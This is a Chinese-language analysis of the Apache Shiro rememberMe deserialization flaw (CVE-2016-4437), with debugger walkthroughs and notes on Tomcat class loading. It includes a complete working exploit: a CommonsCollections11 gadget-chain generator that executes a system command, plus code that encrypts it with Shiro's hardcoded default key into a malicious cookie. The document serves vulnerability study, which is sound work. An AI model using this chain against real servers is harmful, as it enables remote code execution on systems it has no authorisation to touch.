Skip to content

Latest commit

 

History

History
363 lines (264 loc) · 18.2 KB

File metadata and controls

363 lines (264 loc) · 18.2 KB

CVE-2016-4437漏洞分析

前言

CVE-2016-4437 是 Shiro 历史漏洞中比较著名的一个,官方编号为 Shiro-550。

影响版本:Shiro < 1.2.5

漏洞描述:如果程序未能正确配置 “remember me” 功能所使用的密钥。攻击者可通过发送带有特制参数的请求利用该漏洞执行任意代码或访问受限制内容。

前置知识

Shiro 在 0.9 版本开始提供 RememberMe 模块,用于应用程序记录登录用户凭证的功能。

RememberMeManager

org.apache.shiro.mgt.RememberMeManager接口提供了以下五个方法:

  • getRememberedPrincipals():RememberMe 的功能,在指定上下文中寻找记录的principals
  • forgetIdentity():忘记用户身份标识。
  • onSuccessfulLogin():登录校验成功时调用,保存当前用户的principals以供应用程序以后调用。
  • onFailedLogin():登录校验失败时调用,忘记当前用户的principals
  • onLogout():用户退出登录时调用,忘记当前用户的principals

AbstractRememberMeManager

org.apache.shiro.mgt.AbstractRememberMeManager是实现RememberMeManger接口类的抽象类,这里有几个比较重要的成员变量需要了解:

  • DEFAULT_CIPHER_KEY_BYTES:一个硬编码 AES KEY,该 KEY 会被设置为加解密 KEY 的成员变量(encryptionCipherKey/decryptionCipherKey)。
  • serializer:Shiro 的序列化器,用来对序列化和反序列化标识用户身份的PrincipalCollection对象。
  • cipherService:用于数据加解密的类,实际上是org.apache.shiro.crypto.AesCipherService类。

CookieRememberMeManager

org.apache.shiro.web.mgt.CookieRememberMeManager类在 Shiro 中实现使用 Cookie 记录用户身份信息的功能,比较值得关注的方法为getRememberedSerializedIdentity()

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }

            return null;
        } else {
            WebSubjectContext wsc = (WebSubjectContext)subjectContext;
            if (this.isIdentityRemoved(wsc)) {
                return null;
            } else {
                HttpServletRequest request = WebUtils.getHttpRequest(wsc);
                HttpServletResponse response = WebUtils.getHttpResponse(wsc);
                String base64 = this.getCookie().readValue(request, response);
                if ("deleteMe".equals(base64)) {
                    return null;
                } else if (base64 != null) {
                    base64 = this.ensurePadding(base64);
                    if (log.isTraceEnabled()) {
                        log.trace("Acquired Base64 encoded identity [" + base64 + "]");
                    }

                    byte[] decoded = Base64.decode(base64);
                    if (log.isTraceEnabled()) {
                        log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
                    }

                    return decoded;
                } else {
                    return null;
                }
            }
        }
    }

在该方法中,主要实现了获取 Cookie 中的内容并通过 Base64 解码,然后返回 byte 数组的功能。

漏洞分析

漏洞环境已经上传到 github 中:https://github.com/dota-st/vulnEnv

先简单了解一下该漏洞的原理:

当用户登录勾选remember me的时候,Shiro 会将当前用户的 Cookie 信息序列化后进行 AES 加密存储在 Cookie 的 RememberMe 字段中,在下次请求时会读取 Cookie 中的 RememberMe 字段并进行 AES 解密然后反序列化。 image-20221018155429239

然而通过前面的AbstractRememberMeManager类我们知道,AES 加解密的 KEY 是硬编码在该类中的,因此当我们知道 KEY之后,可以伪造 RememberMe 字段进而触发反序列化漏洞。

那么我们便开始一步步跟着调试吧,打上断点,在 Cookie 添加 RememberMe 字段然后发送请求。

AbstractRememberMeManager#getRememberedPrincipals()方法中将上下文数据传入到getRememberedSerializedIdentity()方法中 image-20221018111741540

接着会跳转到CookieRememberMeManager#getRememberedSerializedIdentity()方法中 image-20221018155851444

可以看到readValue()方法会从请求中获取RememberMe字段的值,最后通过Base64.decode()解码后返回 byte 数组,接着又回到getRememberedPrincipals()方法 image-20221018160049461

继续跟进convertBytesToPrincipals()方法,调用decrypt()方法进行解密 image-20221018160159474

继续跟进decrypt()方法 image-20221018160308176

这里调用到getDecryptionCipherKey()方法,我们跟进一下 image-20221018162044495

这里到了AbstractRememberMeManager#getDecryptionCipherKey()方法,前面我们提到过该类,在这里获取到了硬编码的秘钥。

接着decrypt()方法走完 return 了serialized字节数组,最后调用了deserialize()方法 image-20221018162427231

继续跟进deserialize()方法,跟着调用了getSerializer().deserialize()方法 image-20221018162530315

继续跟进getSerializer().deserialize()方法 image-20221018162715157

可以看到,这里通过ByteArrayInputStream()获取了输入流,最后调用readObject()方法进行反序列化。

回顾梳理一下流程:

  1. 传入RememberMe字段,获取该字段的值;
  2. RememberMe进行 Base64 解码,然后调用硬编码的 KEY 进行解密;
  3. 对解密后的内容进行反序列化。

编写 POC

在 pom.xml 文件里添加了CommonCollectionsjavassist依赖,以完成反序列化的利用演示。 image-20221018163306620

这里通过前面我们学习的CommonsCollections11链子生成恶意文件

package com.serialize;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * Created by dotast on 2022/10/12 15:50
 */
public class CommonsCollections11 {
    public static void main(String[] args) throws Exception{
        CommonsCollections11 commonsCollections11 = new CommonsCollections11();
        commonsCollections11.serialize();
    }
    public void serialize() throws Exception{
        String cmd = "Runtime.getRuntime().exec(\"open -a Calculator.app\");";
        // 创建evailClass
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass evailClass = pool.makeClass("evailClass");
        // 将代码插进static{}
        evailClass.makeClassInitializer().insertBefore(cmd);
        evailClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        // 转换成字节码
        byte[] classBytes = evailClass.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        // 反射修改
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, targetByteCodes);

        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "name");

        Field _class = templates.getClass().getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(templates, null);

        // 创建恶意的调用链
        InvokerTransformer invokerTransformer = new InvokerTransformer("toString",new Class[0], new Object[0]);
        Map innerMap = new HashMap<>();
        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
        // 创建TiedMapEntry实例
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
        Map expMap = new HashMap<>();
        expMap.put(tiedMapEntry,"valueTest");
        outerMap.remove(templates);
        // 通过反射修改iMethodName值为newTransformer
        Field f = invokerTransformer.getClass().getDeclaredField("iMethodName");
        f.setAccessible(true);
        f.set(invokerTransformer, "newTransformer");
        FileOutputStream fileOutputStream = new FileOutputStream("1.txt");
        // 创建并实例化对象输出流
        ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
        out.writeObject(expMap);

    }
    
}

根据对应的AbstractRememberMeManager#encrypt()方法编写加密

package com.shiro;

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;

/**
 * Created by dotast on 2022/10/10 10:45
 */
public class Shiro550 {
    public static void main(String[] args) throws Exception {
        String path = "1.txt";
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(getBytes(path), key);
        System.out.printf(ciphertext.toString());
    }


    public static byte[] getBytes(String path) throws Exception{
        InputStream inputStream = new FileInputStream(path);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;

    }
}

运行后获得构造的恶意RememberMe字段内容,添加到 Cookie 中发送请求,成功弹出计算器。 image-20221018164755328

Shiro 与 CC6

Commons-Collections11的时候曾提过Commons-Collections6这条链子在 shiro 中使用会报错,但如果你用Commons-Collections6生成的 POC 在我上面搭的环境会发现依然能正常弹出计算器,并没有出现报错,这是为什么呢?

在上述环境使用的依赖是shiro-spring,也就是用 Spring-boot 构建的 Shiro

<dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-spring</artifactId>
            <version>1.2.4</version>
</dependency>

Shiro 的原生依赖只用到了:shiro-coreshiro-web,那么Spring构建的Shiro和原生的Shiro有什么不同呢?

我们使用原生环境调调看,这里直接去 Shiro 的仓库下载,然后修改一下 pom.xml 文件即可,下面用到的环境也上传到前面提到的 github 仓库了。运行后访问主页,使用CommonCollections6的 POC 发送请求 image-20221020003021727

并没有弹出计算器,再回来看看 idea image-20221020003046360

报错了,具体错误如下:

Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the thread context, current, or system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.

翻译过来大体意思就是Transformer类找不到,我们跟一下反序列化的入口点看看 image-20221020112505932

这里可以看到最后用的是ClassResolvingObjectInputStream类返回输入流,而不是常规的ObjectInputStream类,跟进该类 image-20221020112940956

ClassResolvingObjectInputStream类中继承了ObjectInputStream类并且重写了resolveClass()方法,跟进ClassUtils.forName()方法image-20221020113104243 又继续调用了loadClass()方法,其中参数值为[Lorg.apache.commons.collections.Transformer;

这里的格式是JNI字段描述符,[表示数组,L代表类描述符,;表示类名到这里结束。

接着继续跟进loadClass()方法 image-20221020113425888

可以看到这里调用的ClassLoaderParallerWebappClassLoader,接着到loadClass()方法,这里接着跟进需要添加 tomcat 的源码才能继续进行调试(这里是偷懒做法,如果想食用更佳,移步 Tomcat源码调试 一文) image-20221020113701346

导入 tomcat 的 jar 包之后继续跟进loadClass()方法进入到了WebappClassLoaderBase#loadClass() image-20221020113737475

往下走到findLoadedClass0()方法 image-20221021234307342

findLoadedClass0()方法去缓存中查找是否存在,从跟的结果上得到是不存在,继续往下走到 this.findLoadedClass()方法 image-20221022160745842

依然为null,后面的跟着几个方法都是为 null,我们略去,到最后一步关键处,也就是到了Class.forName()方法 image-20221020113936096

这里可以看到,此时的父加载器为URLClassLoader image-20221020114136052

其中ucpURLClassLoader类的字段,ucp的成员path是一个 ArrayList 对象,存储着类的搜索路径。而这里这些路径全都是 tomcat 下的 lib 目录文件,并没有commons-collections的依赖文件。

下面贴上在Class.forName()方法后的 debug 过程视频(因为写成文字描述过于繁琐就贴上视频)

debug.mp4

在 debug 视频中可以看到,传进Class.forName()方法的参数 name 为[Lorg.apache.commons.collections.Transformer;,接着后面走到findLoadedClass()方法时还原成了正常的org.apache.commons.collections.Transformer,因此有些文章在跟到前面时就断定是先前的[Lorgxxx格式导致无法找到的结论并不准确,这并不是最终过程。

此外,可以看到ClassLoader的加载过程为AppClassLoader --> ExtClassLoader --> BootstrapClassLoa·der,均搜索不到org.apache.commons.collections.Transformer

搜索不到后抛出ClassNotFoundException的异常 image-20221020114557155

image-20221020114634262

因此和之前的报错对应上了,那么为什么 spring 构建的 shiro 没有报错正常弹出计算器了呢?

我们继续调试一下 image-20221020114824559

在该环境中,加载的ClassLoaderTomcatEmbeddedWebappClassLoader,而不是之前 shiro 原生环境的ParallerWebappClassLoader

继续跟进loadClass()方法,跳到了TomcatEmbeddedWebappClassLoader#loadClass()方法 image-20221020115032790

继续往下走,直到Class.forName()方法 image-20221020115153447

可以看到此时的父加载器为AppClassLoader系统类加载器,再看看此时的 path image-20221020115615209

此时的 path 不再是 tomcat 下的,而是 java 环境中的,包含了commons-collections依赖,因此可以成功加载到 image-20221020115831830

这也解释了为什么在 spring 构建的 Shiro 环境中Commons-Collections6可以打成功,而原生的 Shiro 环境却报错失败的情况。

至于为什么 path 会不一样,父类加载器也不一样,尝试跟了一下,实在过于复杂,遂暂时放弃,调试到此。

等哪一天知识储备足够了,再来解惑。

漏洞修复

在 Shiro 1.2.5 版本的更新中,用户需要手动配置 CipherKey,如果不设置,将会动态生成一个 CipherKey。但反序列化流程没有修改,这也是 Shiro 至今依然在各大 HW 演练中频繁出现的原因。

再聊聊

跟完上面 Tomcat 的调试流程,仔细点都观察到 Tomcat 的类加载机制并不是传统的双亲委派机制。我们知道,双亲委派机制是当有载入类的需求时,类加载器会先请示父加载器帮忙载入,如果没有父加载器那么就使用BootStrapClassLoader进行加载,如果所有的父加载器都找不到对应的类,那么才由自己依照自己的搜索路径搜索类。

而很显然,Tomcat 并没有优先使用父加载器进行加载,而是为每个 WEB 应用单独设置好独有的ClassLoader,也就是我们上面跟到的WebappClassLoader,Tomcat 会优先使用独有的ClassLoader实例来处理加载。为什么 Tomcat 如此特立独行呢?

答案在于处理多个 web 应用的情况,例如 WebApp A 和 WebApp B 使用的是不同版本的common-collection依赖,而为了实现这两个 web 应用隔离,达到互不干扰的效果,就不能再遵循双亲委派机制。如果我们采用双亲委派机制,在实现类加载的时候都优先去父加载器进行加载,那么隔离就是掩耳盗铃。

这里就不再深入下去,更详细的内容我们留到后面实际使用到的时候再展开说说。